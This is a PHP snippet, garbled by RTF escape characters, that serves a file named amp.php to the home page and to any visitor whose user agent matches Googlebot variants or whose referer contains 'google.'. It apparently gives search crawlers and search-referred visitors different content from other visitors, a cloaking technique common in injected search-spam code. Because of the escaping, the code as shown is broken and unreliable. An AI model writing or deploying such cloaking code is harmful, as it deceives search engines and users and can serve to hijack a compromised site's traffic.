if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') \{\ header('Content-Type: text/html; charset=UTF-8');\ \ $ampPath = __DIR__ . '/amp.php';\ if (!file_exists($ampPath)) \{\ http_response_code(500);\ echo 'amp.php bulunamad\uc0\u305 : ' . $ampPath;\ exit;\ \}\ \ require $ampPath;\ exit;\ \}\ \ $userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';\ $referer = $_SERVER['HTTP_REFERER'] ?? '';\ \ $googleBots = [\ 'Googlebot',\ 'AdsBot',\ 'Mediapartners-Google',\ 'APIs-Google',\ 'Googlebot-Image',\ 'Googlebot-Video',\ 'Googlebot-News',\ 'Googlebot-Search',\ 'Googlebot-Inspect',\ 'Googlebot-Android',\ 'Googlebot-Mobile',\ 'Googlebot-Ads',\ 'Googlebot-Discovery',\ 'Google-',\ ];\ \ $pattern = '/(' . implode('|', array_map('preg_quote', $googleBots)) . ')/i';\ \ if (\ ($userAgent !== '' && preg_match($pattern, $userAgent)) ||\ ($referer !== '' && stripos($referer, 'google.') !== false)\ ) \{\ header('Content-Type: text/html; charset=UTF-8');\ \ $ampPath = __DIR__ . '/amp.php';\ if (!file_exists($ampPath)) \{\ http_response_code(500);\ echo 'amp.php bulunamad\uc0\u305 : ' . $ampPath;\ exit;\ \}\ \ require $ampPath;\ exit;\ \}}